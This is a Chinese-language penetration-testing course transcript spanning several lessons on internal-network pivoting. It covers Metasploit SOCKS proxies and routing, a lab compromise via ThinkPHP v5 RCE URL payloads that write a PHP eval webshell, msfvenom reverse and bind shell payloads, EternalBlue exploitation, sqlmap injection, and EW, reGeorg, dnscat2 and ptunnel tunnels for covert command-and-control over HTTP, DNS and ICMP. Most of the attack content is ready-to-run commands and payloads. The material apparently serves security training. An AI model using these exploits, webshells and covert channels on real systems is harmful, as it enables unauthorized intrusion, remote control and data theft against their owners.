获取跳板机权限后，需要探测其所在内网环境。

在Meterpreter会话中，运行以下命令进行内网信息收集：

run post/multi/gather/ping_sweep RHOSTS=192.168.22.0/24
# 或使用ARP扫描
run post/windows/gather/arp_scanner RHOSTS=192.168.22.0/24

接下来，在MSF中建立Socks代理服务，使攻击机的流量能通过跳板机进入内网。

# 在MSF控制台(msf6)中
use auxiliary/server/socks_proxy
set SRVHOST 0.0.0.0
set SRVPORT 1080
set VERSION 5 # 使用Socks5协议
run

这样就在攻击机上启动了一个Socks5代理服务器（端口1080）。

4. 配置代理与内网工具使用

现在需要让攻击机上的扫描工具通过这个代理访问内网。

修改/etc/proxychains.conf文件，在末尾添加：

socks5 127.0.0.1 1080

然后使用proxychains驱动工具扫描内网机器（例如192.168.22.33）：

proxychains nmap -sT -Pn -n 192.168.22.33
  • -sT： 使用TCP连接扫描（因为Socks代理不支持ICMP）。
  • -Pn： 跳过主机发现（假设主机存活）。
  • -n： 禁止DNS解析。

5. 横向移动

通过代理扫描发现内网机器192.168.22.33开放了445端口（SMB）。可以进一步使用MSF模块通过Socks代理进行攻击。

# 在MSF中设置全局代理，使MSF发起的攻击流量也走Socks通道
setg Proxies socks5:127.0.0.1:1080
setg ReverseAllowProxy true # 允许反向连接通过代理

![](https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/7b6683aa6dcc3844b52ce4c4cc321b11_42.png)

# 使用SMB漏洞模块
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.22.33
set PAYLOAD windows/x64/meterpreter/bind_tcp # 使用Bind类型载荷
# ... 设置其他参数
exploit

成功后就获得了第二台内网机器(192.168.22.33)的Shell，可以继续向内网更深层（如192.168.33.0/24网段）渗透。

总结 🎯

本节课我们一起学习了Socks代理在内网穿透中的应用。

我们首先了解了Socks代理的基本概念和工作原理，然后认识了EarthWorm、frp、Proxychains等常用工具。最后，通过一个完整的靶场实战，演示了如何利用Metasploit获取跳板机Shell、建立Socks5代理通道，并配置Proxychains驱动扫描工具进行内网探测和横向移动。

关键点在于理解流量走向：攻击机工具 -> 本地Socks代理(1080) -> MSF模块转发 -> 跳板机 -> 目标内网。掌握这一流程是进行内网渗透测试的基础。

🛠️ 网络安全就业推荐 - P64：第32天：CobaltStrike Socks代理

📖 概述

在本节课中，我们将学习如何在内网渗透测试中，利用已获取权限的机器作为跳板，通过建立Socks代理通道，实现对更深层内网主机的访问和渗透。课程将涵盖从外网突破、内网信息收集、多层网络穿透到最终获取域内主机权限的完整流程。

🔍 第一阶段：外网信息收集与突破

上一节我们介绍了信息收集的基本思路。本节中我们来看看如何对探测到的开放端口进行深入分析和利用。

当目标主机80端口没有明显信息时，首先考虑进行目录爆破。因为Web服务通常具有特定的目录结构。访问空页面可能只是默认页面（如 index.htm），在Web根目录下可能存在其他页面或目录。

以下是通过目录爆破发现敏感目录的示例：

探测到 /public 目录

访问该目录后，得到了一个 index.php 页面，显示系统使用了 ThinkPHP v5 框架。

端口服务分析与利用思路

对扫描发现的端口（如21, 22, 3306, 8888）进行分析：

  • 21 (FTP) / 22 (SSH)：尝试弱口令爆破。可以使用 Hydra 工具。
    hydra -l username -P password_list ftp://target_ip
hydra -l username -P password_list ssh://target_ip
  • 3306 (MySQL)：若允许远程连接，可尝试弱口令爆破并直接连接数据库。
  • 8888 (宝塔面板)：访问需要特定的随机路径，若不知道路径则无法进行登录爆破。
  • 80 (HTTP)：Web服务是常见的突破口。本次利用ThinkPHP v5的远程命令执行漏洞进行突破。

ThinkPHP v5 RCE漏洞利用

发现ThinkPHP v5框架后，搜索其历史漏洞，发现存在远程命令执行漏洞。该漏洞允许通过命令执行写入一句话木马。

漏洞利用原理： 利用 call_user_func_array 函数执行回调函数。

  • POC 1 - 验证漏洞：执行 phpinfo()。
    ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
    页面输出PHP信息，证明存在命令执行。
  • POC 2 - 执行系统命令：执行 whoami 命令。
    ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
    返回 www-data，确认当前权限。
  • POC 3 - 写入WebShell：写入一句话木马文件。
    ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell123.php&vars[1][]=<?php @eval($_POST['cmd']);?>
    成功写入 shell123.php 文件。

通过中国菜刀或蚁剑等工具连接该WebShell，成功获取了外网服务器的控制权。

🕵️ 第二阶段：内网信息收集与横向移动

上一节我们成功获取了外网服务器的Shell。本节中我们来看看如何以这台服务器为跳板，进行内网渗透。

主机信息收集

首先对已控制的Linux主机进行信息收集，使用 ifconfig 命令发现两个网卡：

  • eth0：外网IP (78.66.xxx.xxx)
  • eth1：内网IP (192.168.22.1)

发现内网网段 192.168.22.0/24，意味着这台机器可以访问该内网。

内网存活主机探测

下一步是探测 192.168.22.0/24 网内存活的主机。在内网中，使用Ping扫描是较快的方法。

以下是用于Ping扫描的Shell脚本：

#!/bin/bash
for i in {1..254}
do
    ip="192.168.22.$i"
    ping -c 1 -W 1 $ip > /dev/null 2>&1
    if [ $? -eq 0 ]; then
        echo "$ip is OK"
    else
        echo "$ip is NO"
    fi
done

脚本说明：

  • -c 1：发送1个ping包。
  • -W 1：等待1秒超时。
  • > /dev/null 2>&1：将标准输出和错误输出重定向到空设备，不显示。
  • 通过 $? 判断上一条命令的退出状态，0表示成功（主机存活）。

将脚本上传至目标服务器的 /tmp 目录（该目录通常权限为777），添加执行权限并运行：

chmod +x ping_scan.sh
./ping_scan.sh > ip_list.txt

扫描发现除了本机（192.168.22.1）外，主机 192.168.22.2 存活。

🔄 第三阶段：建立代理通道与内网穿透

上一节我们发现了内网存活主机。本节中我们来看看如何访问和测试这些内网主机。

反弹Shell到MSF

为了使用更强大的工具（如MSF的端口扫描模块），先将获取的WebShell反弹到Metasploit框架。

  1. 生成Linux木马：使用 msfvenom 生成ELF格式的反弹Shell。
    msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=your_ip LPORT=6667 -f elf -o mngy.elf
  2. 上传并执行：将 mngy.elf 上传至目标服务器 /tmp 目录，添加执行权限并运行。
    chmod +x mngy.elf
./mngy.elf
  3. MSF设置监听：在MSF中设置对应的Payload进行监听，成功接收到 meterpreter 会话（session 5）。

添加路由与建立Socks代理

现在需要通过MSF会话访问内网 192.168.22.0/24 网段。

  1. 添加路由：告诉MSF，访问 192.168.22.0/24 网段的流量需要通过session 5转发。
    run autoroute -s 192.168.22.0/24
  2. 启动Socks5代理服务：在MSF中启动一个Socks5代理服务器，监听在本地的1080端口。
    use auxiliary/server/socks_proxy
set VERSION 5
run
  3. 配置代理工具：在攻击机上配置工具（如浏览器、Nmap）通过Socks5代理（127.0.0.1:1080）进行访问。

流量走向：攻击机工具 -> 本地1080端口（Socks代理）-> MSF框架 -> 通过session 5（跳板机）-> 目标内网主机。

测试代理通道

使用 proxychains 工具让命令行程序走代理。

proxychains curl http://192.168.22.2

成功访问到内网主机 192.168.22.2 的Web页面，证明代理通道建立成功。

🎯 第四阶段：内网纵深渗透

上一节我们建立了访问内网的通道。本节中我们来看看如何对内网主机进行渗透。

扫描内网主机端口

通过代理通道，使用Nmap扫描内网主机 192.168.22.2 的开放端口。

proxychains nmap -sT -Pn 192.168.22.2

参数说明：

  • -sT：TCP连接扫描。
  • -Pn：跳过主机发现（Ping扫描），因为ICMP流量可能无法通过代理。

扫描发现该主机开放了80端口。

渗透内网Web服务

访问 192.168.22.2:80，发现是一个CMS系统。通过搜索历史漏洞，发现存在SQL注入。

  1. SQL注入获取后台密码：使用 sqlmap 通过代理进行注入测试。
    proxychains sqlmap -u "http://192.168.22.2/vuln.php?id=1" --batch
    成功跑出管理员账号密码。
  2. 登录后台并写入WebShell：找到后台登录地址，使用获取的密码登录。在CMS的模板编辑功能中，向首页文件写入PHP一句话木马。
  3. 连接WebShell：使用中国菜刀或蚁剑，配置Socks5代理后，成功连接内网主机的WebShell。

信息收集与发现新网段

在 192.168.22.2 主机上执行 ifconfig，发现其还有另一张网卡，处于 192.168.33.0/24 网段。这意味着存在更深层的内网。

多层网络穿透

主机 192.168.22.2 无法直接出网，因此使用正向Shell将其连接到MSF。

  1. 生成正向Shell木马：
    msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=6668 -f elf -o mngy2.elf
  2. 上传并执行：在 192.168.22.2 上执行该木马，监听6668端口。
  3. MSF连接正向Shell：在MSF中使用 bind_tcp payload连接该端口，获得新的session（session 7）。
  4. 添加新路由：为新的session添加通往 192.168.33.0/24 网段的路由。
    run autoroute -s 192.168.33.0/24

渗透最终目标

通过代理扫描 192.168.33.33，发现开放了445端口。

  1. 利用永恒之蓝漏洞：使用MSF的 ms17_010_eternalblue 模块攻击该主机。
    use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.33.33
set payload windows/x64/meterpreter/bind_tcp
exploit
    成功获取 SYSTEM 权限的Shell（session 8）。
  2. 添加用户并远程桌面连接：通过获取的Shell添加管理员用户，并利用其开放的3389端口进行远程桌面连接。
    • 方法一（Linux）：使用 rdesktop 通过代理连接。
      proxychains rdesktop 192.168.33.33
    • 方法二（Windows）：使用 Proxifier 等全局代理工具，让 mstsc.exe（远程桌面连接）的流量走Socks5代理，然后进行连接。

📝 总结

本节课我们一起学习了从外网到内网的完整渗透流程：

  1. 外网突破：通过Web漏洞（ThinkPHP RCE）获取外网服务器Shell。
  2. 信息收集：发现内网网段，探测存活主机。
  3. 代理搭建：将Shell反弹至MSF，添加路由并建立Socks5代理通道，实现内网穿透。
  4. 横向移动：通过代理渗透内网主机，并以此为新的跳板，向更深层网络（192.168.33.0/24）渗透。
  5. 最终控制：利用系统漏洞（MS17-010）获取域内最终目标主机的最高权限，并通过代理实现远程桌面控制。

核心在于利用 已控主机作为跳板，通过 路由 和 Socks代理 将攻击流量逐层转发，最终实现对多层内网结构的渗透。

网络安全实战教程：第34天 - EW工具创建Socks代理 🛠️

在本节课中，我们将学习如何使用EW工具创建Socks代理，实现多层内网的穿透。我们将从基础概念讲起，逐步深入到实战操作，帮助你理解流量转发的原理和具体配置方法。

概述：代理与流量转发

上一节我们介绍了网络代理的基本概念。本节中，我们来看看如何使用EW工具实现具体的Socks代理。

代理的核心作用是转发网络请求。当客户端无法直接访问目标服务器时，可以通过一个中间服务器（代理服务器）来中转请求和响应。

第一部分：基础概念与单层代理

首先，我们来理解最简单的单层代理场景。假设我们有一台公网VPS（服务器A）和一台内网机器（目标B）。客户端希望通过VPS访问到内网的B。

流量走向公式可以简化为：
客户端 -> VPS代理端口 -> 与内网机器的连接 -> 内网目标B

具体过程是：客户端将请求发送到VPS的指定代理端口。VPS上运行的服务端程序（如ew）接收到请求后，会通过它和内网机器之间预先建立的连接通道，将请求转发给内网机器。最终，内网机器访问到目标B，并将响应按原路返回给客户端。

第二部分：EW工具基础使用

在深入多层代理前，我们需要先掌握EW工具的基本命令。EW是一个功能强大的网络穿透工具。

以下是EW的几个核心运行模式：

  • -s ssocks: 建立正向Socks5代理服务器。在目标机器上监听一个端口，允许其他机器连接此端口作为代理出口。
  • -s rcsocks: 监听一个端口，等待远端机器连接，用于流量转发。
  • -s rssocks: 反向Socks5代理。在目标机器上运行，主动连接到攻击机，将本机的Socks5代理服务“反弹”到攻击机。
  • -s lcx_listen: 监听模式，用于端口转发。
  • -s lcx_slave: 连接模式，与lcx_listen配对使用，将流量从一个连接点转发到另一个。

常用参数：

  • -l: 指定本地监听的端口。
  • -d: 指定反弹Socks代理时连接的目标IP（即攻击机IP）。
  • -f: 指定连接的目标IP和端口（用于正向连接）。
  • -e: 设置使用的协议类型（如TCP）。

第三部分：实战操作 - 建立反向Socks代理

上一节我们介绍了EW的基本命令。本节中我们来看看最常见的反向代理实战。

假设我们已经通过漏洞获取了内网第一台机器（跳板机，IP: 192.168.2.1）的shell。我们的VPS公网IP是47.102.214.85。现在需要通过这台跳板机，访问其同网段（192.168.2.0/24）的其他机器。

操作步骤如下：

  1. 在VPS上启动流量转发端：
    在VPS上执行以下命令，监听1888端口作为代理入口，并等待跳板机来连接7788端口。
    ./ew -s rcsocks -l 1888 -e 7788
    此命令意为：在VPS上建立一个转发，将本地1888端口收到的流量，通过7788端口建立的连接通道发送出去。

  1. 在跳板机上启动反向Socks服务端：
    在内网跳板机（192.168.2.1）的shell中上传ew程序并执行：
    ./ew -s rssocks -d 47.102.214.85 -e 7788
    此命令意为：跳板机主动连接到VPS(47.102.214.85)的7788端口，并将本机的Socks5代理服务反弹过去。

  1. 配置客户端使用代理：
    当以上两步都显示连接成功后，即可在攻击机（或任何能访问VPS的机器）上配置代理。将Socks5代理设置为47.102.214.85:1888。
    现在，通过该代理发出的所有流量，都会经过VPS的1888端口，通过已建立的通道，最终从跳板机（192.168.2.1）的网络接口发出。因此，你可以扫描或访问192.168.2.0/24网段的其他主机（如192.168.2.2）。

第四部分：实战进阶 - 建立二层Socks代理

单层代理允许我们访问跳板机所在网段。但如果目标在更深层的网络呢？例如，我们需要通过192.168.2.2这台机器，访问192.168.33.33。这就需要二层代理。

上一节我们实现了访问192.168.2.0/24网段。本节中我们来看看如何穿透到下一个网段。

核心思想： 在每一层跳板机上，都建立流量转发链路，将上一层的代理流量，接力转发到下一层。

网络拓扑：
攻击机 -> VPS -> 跳板机1 (192.168.2.1) -> 跳板机2 (192.168.2.2) -> 最终目标 (192.168.33.33)

操作步骤如下：

  1. 完成第一层代理：
    重复第三部分的步骤，建立从VPS到跳板机1（192.168.2.1）的反向代理。假设VPS上的代理入口端口仍是1888。

  1. 在跳板机1上建立端口转发（监听）：
    在跳板机1的shell中执行：

    ./ew -s lcx_listen -l 1080 -e 8889

    此命令在跳板机1上监听1080端口，并等待来自8889端口的连接。它负责将1080端口的流量转发给8889端口建立的连接。

  2. 在跳板机2上建立Socks服务并连接到跳板机1：
    假设我们已通过第一层代理，在跳板机2（192.168.2.2）上获得了shell。
    a. 首先在跳板机2上建立一个正向Socks5代理：

    ./ew -s ssocksd -l 9999

    此命令在跳板机2上监听9999端口，提供Socks5代理服务。
    b. 然后，在跳板机2上执行连接命令，连接到跳板机1的8889端口：

    ./ew -s lcx_slave -d 192.168.2.1 -e 8889 -f 127.0.0.1 -g 9999

    此命令意为：跳板机2主动连接跳板机1(192.168.2.1)的8889端口，并将从该连接收到的所有数据，转发到本机(127.0.0.1)的9999端口（即我们刚建立的Socks5服务）。

  3. 形成完整链路：
    此时，链路已经连通：

    • 攻击机设置代理为 VPS_IP:1888，流量到达VPS。
    • VPS通过已建立的反向通道，将流量发给跳板机1。
    • 我们需要配置代理工具，让到达跳板机1的流量，继续走向跳板机2。这通常意味着在代理软件（如Proxifier, SocksCap）中设置代理链。
      例如，可以这样理解配置：本地浏览器 -> (代理1: VPS_IP:1888) -> (代理2: 192.168.2.1:1080) -> 出口。
    • 流量到达跳板机1的1080端口后，被lcx_listen转发给与跳板机2建立的8889连接。
    • 跳板机2的lcx_slave将流量转发给本机9999端口的Socks5服务。
    • 最终，Socks5服务从跳板机2的网络接口发出请求，访问到192.168.33.33。

关键点： 第二层代理的本质，是在第一层代理的基础上，在跳板机1和跳板机2之间，利用lcx_listen和lcx_slave再建立一条端口转发通道，将跳板机1上的一个端口（1080）映射到了跳板机2的Socks5服务端口（9999）。

第五部分：在渗透测试框架中的应用

建立了Socks代理通道后，我们可以将其集成到渗透测试框架中，如Metasploit (MSF) 和 Cobalt Strike (CS)。

  • 在Metasploit中设置全局代理：
    在MSF控制台，可以使用setg命令设置全局代理，让所有模块的流量都走代理。
    setg Proxies socks5:47.102.214.85:1888
setg ReverseAllowProxy true
    设置后，使用exploit/multi/handler接收反弹shell，或利用其他漏洞扫描、攻击内网主机时，流量都会经过指定的Socks5代理。

  • 在Cobalt Strike中设置Socks代理：
    在Cobalt Strike的客户端，可以通过 View -> Pivots -> SOCKS Server 来添加一个Socks代理。实际上，更常见的做法是在已上线的Beacon上右键，选择 Pivoting -> SOCKS Server 来部署一个反向的Socks4a代理服务。CS会自动生成对应的连接命令，原理与EW工具类似。

注意： 在MSF中，setg是全局设置。如果只想让当前模块走代理，可以使用set命令。例如：

use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.33.33
set Proxies socks5:47.102.214.85:1888
run

总结与排错指南

本节课中我们一起学习了使用EW工具创建单层及多层Socks代理进行内网穿透的方法。

核心步骤总结：

  1. 获得立足点：通过漏洞获取边界服务器或内网第一台主机的shell。
  2. 建立代理通道：根据网络拓扑，选择正向(ssocksd)或反向(rssocks)方式，在目标机器上部署代理服务，并与攻击机建立连接。
  3. 流量接力：对于多层网络，在每一层跳板机上使用lcx_listen和lcx_slave进行流量端口转发，将上层代理的流量引导至下层代理出口。
  4. 工具集成：将最终可用的Socks代理配置到渗透测试框架或浏览器中，实现对深层内网的访问和攻击。

常见问题与排错：

  • 连接失败或超时：
    • 检查命令参数是否正确，特别是IP地址和端口号。
    • 检查网络防火墙是否放行了相关端口。
    • 确认跳板机之间以及跳板机与VPS之间的网络可达性。
  • 代理链配置后无法访问：
    • 逐层测试。先确保第一层代理能访问跳板机1的同网段。
    • 再在跳板机1上测试是否能通跳板机2的端口（如telnet 192.168.2.2 9999）。
    • 检查每一层ew进程是否正常运行，端口是否被占用。
  • EW进程意外退出：
    • 在Linux上，可以尝试在命令末尾加&放入后台，或使用nohup命令。
    • 也可以写简单的shell脚本循环检查进程是否存在并重启。

通过理解流量走向并熟练运用EW工具，你可以灵活地构建通往内网深处的代理隧道，为全面的内网安全评估打下基础。请务必在授权环境下进行练习。

网络安全实战教程 P66：第35天 - HTTP/DNS/SMTP代理隧道搭建 🛠️

在本节课中，我们将学习三种不同类型的网络代理隧道技术：HTTP隧道、DNS隧道和SMTP隧道。我们将通过具体的工具（reGeorg、DNS Cat 2、PTunnel）来理解其原理和实战应用，帮助你在内网渗透测试中建立稳定的代理通道。

第一部分：HTTP代理隧道与reGeorg的使用 🌐

上一节我们概述了课程内容，本节中我们来看看如何使用reGeorg工具建立HTTP隧道。

reGeorg是reDuh的升级版，其核心功能是将内网服务的端口数据，通过HTTP/HTTPS隧道转发到攻击者的本机，从而实现基于HTTP协议的通信。我们可以通过它在本机开启一个SOCKS代理，将流量通过HTTP隧道代理到目标内网。

以下是reGeorg工具的主要参数说明：

  • -l：指定本地监听的IP地址。
  • -p：指定本地监听的端口。
  • -u：指定包含隧道脚本的URL地址。

该工具的服务端是一个上传到目标Web服务器的脚本文件。我们通过Python脚本reGeorgSocksProxy.py来创建本地的SOCKS代理通道。它提供了多种脚本（如JSP、PHP、ASPX等），以适应不同的服务器环境。

实战演示：利用WebLogic漏洞建立隧道

我们以一个存在漏洞的WebLogic服务器（IP: 192.168.78.105，端口:7001）为例。

  1. 信息收集与漏洞利用：通过扫描发现WebLogic服务，并利用历史漏洞（如CVE-2019-2725）获取WebShell。使用专用脚本可以执行命令并写入WebShell文件。
  2. 上传隧道脚本：将reGeorg的隧道脚本（例如tunnel.jsp）上传到目标服务器的Web目录下。
  3. 启动本地代理：在攻击机上执行Python客户端脚本，指向已上传的隧道脚本URL。
    python reGeorgSocksProxy.py -p 1080 -u http://192.168.78.105:7001/bea_wls_internal/tunnel.jsp
  4. 验证代理通道：成功启动后，本机会监听1080端口的SOCKS5代理。配置浏览器或工具使用该代理（127.0.0.1:1080），即可访问目标内网的其他地址（如10.10.10.8）。

第二部分：增强版HTTP隧道 - Neo-reGeorg 🚀

上一节我们介绍了基础的reGeorg，本节中我们来看看它的增强重构版——Neo-reGeorg。

Neo-reGeorg在安全性、稳定性和可用性上做了大量改进。其根本原理未变，但增加了连接密码验证，使隧道更安全。

使用步骤

以下是Neo-reGeorg的基本使用流程：

  1. 生成隧道脚本：使用工具自带的生成功能，创建一个带密码的隧道脚本。
    python neoreg.py generate -k mypassword
    执行后会在当前目录生成neoreg_servers/文件夹，里面包含各种语言的隧道脚本和一个记录密钥的key.txt文件。
  2. 上传脚本：将生成的脚本（如tunnel.jsp）上传到目标Web服务器。
  3. 连接隧道：在攻击机上运行客户端，指定脚本URL、密码和本地代理端口。
    python3 neoreg.py -u http://192.168.78.105:7001/password.jsp -k mypassword -p 1080
  4. 使用代理：与reGeorg一样，配置代理为127.0.0.1:1080即可通过隧道访问内网资源。

第三部分：DNS隧道与DNS Cat 2 📡

上一节我们完成了HTTP隧道的搭建，本节中我们来看看另一种隐蔽的隧道技术——DNS隧道。

DNS Cat 2是一个DNS隧道工具，它通过DNS协议创建加密的命令与控制（C&C）通道。其特色是服务端提供了一个交互式控制台，可以直接对目标机器进行命令控制。

DNS解析类型简述

在深入之前，需要了解两个关键的DNS记录类型：

  • A记录：将域名指向一个IPv4地址。
  • NS记录：指定该域名由哪个DNS服务器进行解析。

DNS Cat 2的两种模式

DNS Cat 2支持两种工作模式：

  1. 直连模式：客户端直接向指定的DNS服务器IP发起解析请求。速度快，但特征较明显。
  2. 中继模式：客户端像正常上网一样，通过递归查询的方式，最终将请求指向我们控制的DNS服务器。速度慢，但隐蔽性更好，因为流量混合在正常的DNS查询中。

环境搭建与使用

以下是搭建DNS Cat 2服务的基本步骤：

  1. 安装依赖：在作为服务端的VPS上安装Ruby环境及相关依赖（如ruby-dev、make、git、bind9）。
  2. 克隆并安装：
    git clone https://github.com/shellster/DNS-Cat2.git
cd DNS-Cat2/server
sudo ./bundle-install.sh
  3. 编译客户端：在client/目录下执行make，生成可执行的客户端程序dns-cat。
  4. 启动服务端：
    ruby dns-cat2.rb
  5. 客户端连接：在目标机器上运行客户端程序，指向服务端域名或IP。
    ./dns-cat --host your-dns-server.com
  6. 进行控制：连接成功后，在服务端控制台即可对目标机器执行命令。

第四部分：SMTP隧道与PTunnel简介 📧

最后，我们简要了解基于SMTP协议的隧道工具PTunnel。

PTunnel (Ping Tunnel) 虽然名称是Ping，但它可以利用ICMP、TCP、UDP等多种协议建立隧道。其中一种应用就是通过SMTP服务器的25端口来转发流量，这在某些只开放邮件端口的严格网络环境中可能有效。

其核心思想是将待转发的数据封装在SMTP协议的数据包中，通过邮件服务器进行传输，从而绕过防火墙的限制。

总结与回顾 🎯

本节课中我们一起学习了三种内网代理隧道技术：

  1. HTTP隧道：通过reGeorg和Neo-reGeorg工具，利用Web服务器的HTTP/HTTPS端口建立稳定的SOCKS5代理，是内网穿透的常用手段。
  2. DNS隧道：通过DNS Cat 2工具，利用DNS查询请求和响应建立隐蔽的命令控制通道，适合在严格过滤TCP/UDP流量的环境中使用。
  3. SMTP隧道：通过PTunnel等工具，利用邮件服务器的SMTP协议进行数据封装转发，是一种特殊的隧道利用方式。

掌握这些隧道技术，能够帮助你在不同的网络限制条件下，灵活地建立与内网的通信连接，是渗透测试人员必备的技能。

网络安全就业推荐 P67：第36天：Dnscat2、icmpsh搭建隧道 🛠️

概述

在本节课中，我们将学习两种重要的隧道技术：Dnscat2 和 icmpsh。我们将分别介绍它们的两种工作模式（直连和中继），并通过实际操作演示如何利用这些隧道建立命令控制通道，以应对目标网络环境对特定协议（如TCP/UDP）的限制。

Dnscat2 隧道技术

上一节我们介绍了课程概述，本节中我们来看看 Dnscat2 的具体使用。Dnscat2 是一款利用 DNS 协议进行加密通信的隧道工具，常用于在只允许 DNS 流量外出的环境中建立命令控制。

直连模式

直连模式要求客户端能直接访问服务端的 IP 地址和 53 端口。

以下是启动服务端的步骤：

  1. 进入工具目录并执行启动脚本。
    cd /path/to/dnscat2/server/
ruby ./dnscat2.rb
  2. 执行后，服务端会监听本地的 UDP 53 端口，并生成一个密钥（secret）。客户端连接时需要此密钥。
  3. 如果遇到 53 端口被占用（例如被 systemd-resolved 服务占用），需要修改相关配置文件以释放该端口。

服务端启动后，需要在目标机器（客户端）上执行编译好的客户端程序。

以下是启动客户端的命令示例：

./dnscat2 --dns server=<SERVER_IP>,port=53 --secret=<SERVER_SECRET>

其中 <SERVER_IP> 是服务端 IP，<SERVER_SECRET> 是服务端生成的密钥字符串。

连接成功后，服务端会显示 Session established，并创建一个窗口（window）。我们可以通过命令与客户端进行交互。

以下是常用的管理命令列表：

  • windows 或 window：查看当前所有会话窗口。
  • session -i <id>：进入指定 ID 的会话窗口。
  • 在会话窗口中，可以执行 shell 命令来获取一个反向 shell，进而执行系统命令（如 ls, whoami）。

中继模式

上一节我们介绍了直连模式，本节中我们来看看中继模式。中继模式通过公网域名进行通信，更适合客户端无法直接连接服务端 IP 的场景。

使用中继模式需要做以下准备：

  1. 一台公网服务器（作为C&C服务器）。
  2. 一台靶机（内网或公网均可）。
  3. 一个可自主配置 DNS 解析的域名。

配置域名的核心是设置 NS 记录，将特定子域名的解析权指向我们的 C&C 服务器。

以下是具体的 DNS 解析配置步骤：

  1. 添加一条 A 记录，将自定义的 NS 服务器名称（如 ns.xxx.com）解析到 C&C 服务器的公网 IP。
  2. 添加一条 NS 记录，将用于隧道的子域名（如 tunnel.xxx.com）的权威 DNS 服务器指向上一步设置的 NS 服务器名称（ns.xxx.com）。

配置完成后，启动服务端时需要指定域名。

服务端启动命令如下：

ruby ./dnscat2.rb tunnel.xxx.com --secret=MySecret

客户端启动时，则使用该域名进行连接。

客户端启动命令如下：

./dnscat2 --dns domain=tunnel.xxx.com --secret=MySecret

其工作原理是：客户端解析 tunnel.xxx.com 时，根据 NS 记录找到我们的 C&C 服务器进行解析，从而将 DNS 查询流量导向我们的服务端，建立隧道。

连接建立后的管理与直连模式相同，可以通过 session 等命令进行控制。

icmpsh 隧道技术

上一节我们完成了 Dnscat2 的学习，本节中我们来看看 icmpsh 隧道。当目标环境严格到只允许 ICMP 协议（如 ping）出网时，可以使用 ICMP 隧道工具进行穿透，这里我们介绍 ptunnel 工具。

转发 TCP 流量上线 MSF

此方法将 TCP 流量封装在 ICMP 隧道中，使 MSF 的 TCP payload 能在仅允许 ICMP 的环境下上线。

首先，在公网 VPS 上启动 ptunnel 服务端。

服务端启动命令如下：

./ptunnel -x MyPassword

-x 参数指定连接密码。

接着，在靶机（客户端）上启动 ptunnel 客户端，并配置端口转发。

客户端启动命令如下：

./ptunnel -p <SERVER_IP> -lp 9999 -da <MSF_SERVER_IP> -dp 7777 -x MyPassword
  • -p: 服务端 IP。
  • -lp 9999: 在客户端本地监听 9999 端口。
  • -da 和 -dp: 指定最终要转发到的目标地址和端口（即 MSF 监听地址）。
  • -x: 与服务端一致的密码。

然后，使用 MSF 生成一个 payload，其反向连接地址设置为靶机本地的 9999 端口。

生成 Payload 的命令如下：

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<靶机本地IP> LPORT=9999 -f exe -o shell.exe

将生成的 shell.exe 在靶机上执行。该程序会向 127.0.0.1:9999 发起 TCP 连接，该连接被 ptunnel 客户端捕获，通过 ICMP 隧道转发至服务端，再由服务端解密并转发到 MSF 监听的 7777 端口，从而成功上线。

转发 Socks5 代理流量上线 MSF

此方法在靶机上建立一个 Socks5 代理，并将代理流量通过 ICMP 隧道转发出去。

启动服务端的方式不变。启动客户端时，需启用 Socks5 转发。

客户端启动命令如下：

./ptunnel -p <SERVER_IP> -lp 9999 -da <MSF_SERVER_IP> -dp 8888 -x MyPassword -socks5

-socks5 参数表示在客户端本地 9999 端口开启一个 Socks5 代理服务。

接着，使用 MSF 生成 payload 时，需设置代理选项，使其通过靶机本地的 Socks5 代理连接出来。

生成 Payload 的命令如下：

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<MSF_SERVER_IP> LPORT=8888 HttpProxyType=SOCKS5 HttpProxyHost=<靶机本地IP> HttpProxyPort=9999 -f exe -o socks_shell.exe

执行此 payload 后，其流量会先进入本地 Socks5 代理（9999端口），然后被 ptunnel 通过 ICMP 隧道转发至服务端，最终到达 MSF 监听的 8888 端口。

转发 TCP 流量上线 Cobalt Strike

原理与上线 MSF 类似。首先配置 ptunnel 客户端进行端口转发（例如将本地 8899 端口转发到 CS 团队服务器的 7777 端口）。

在 Cobalt Strike 上创建监听器时，Host 设置为 127.0.0.1，Port 设置为 ptunnel 客户端监听的端口（如 8899）。Beacon 的端口则设置为团队服务器实际监听的端口（如 7777）。

生成 Beacon 时，其回连地址设置为靶机本地 IP 和 ptunnel 客户端监听端口（8899）。执行后，流量即可通过 ICMP 隧道中继至 CS 团队服务器。

总结

本节课中我们一起学习了两种关键的隧道技术。

  • Dnscat2 利用 DNS 查询和响应建立加密隧道，适用于允许 DNS 流量的环境，并掌握了其直连与中继两种模式。
  • ptunnel 利用 ICMP 协议封装 TCP 或 Socks5 流量，适用于严格限制下仅允许 ICMP 协议出网的场景，并实践了通过它上线 MSF 和 CS 的方法。

这些技术有助于我们在复杂的网络限制条件下，建立稳定的命令控制通道。

课程P68：第37天 - Windows权限提升：信息收集与内核漏洞提权 🔍

在本节课中，我们将学习Windows系统权限提升的核心概念、信息收集方法以及利用内核漏洞进行提权的技术。课程内容将分为权限提升概述、信息收集、内核漏洞提权以及服务漏洞利用四个主要部分。

一、权限提升概述 🎯

权限提升是指攻击者利用安全漏洞，将已获取的受限制低权限用户身份，突破系统限制，提升至高权限的管理员用户，从而获得对整个系统的控制权。

进行权限提升有一个前提：攻击者需要已经获得了目标系统的某种初始访问权限。例如，通过Web服务器漏洞获取的web shell权限（如Apache或IIS服务账户），或通过数据库漏洞获取的mysql、sql server服务账户权限。这些账户通常权限较低，无法访问关键目录或执行特权操作。

提权的目的正是突破这些限制，获取系统管理员权限。在Windows系统中，这通常意味着从普通User提升至Administrator，甚至更高的SYSTEM权限。在Linux系统中，则是从普通用户提升至root用户。

提权类别

提权主要分为以下几类：

  1. 本地提权：在已获得的低权限用户环境下，利用系统或应用程序的漏洞，直接提升至系统最高权限。
  2. 远程提权：通过网络直接利用漏洞，获取远程服务器的管理员权限。

无论是本地还是远程提权，核心都在于发现并利用系统中存在的、可用于提权的漏洞。

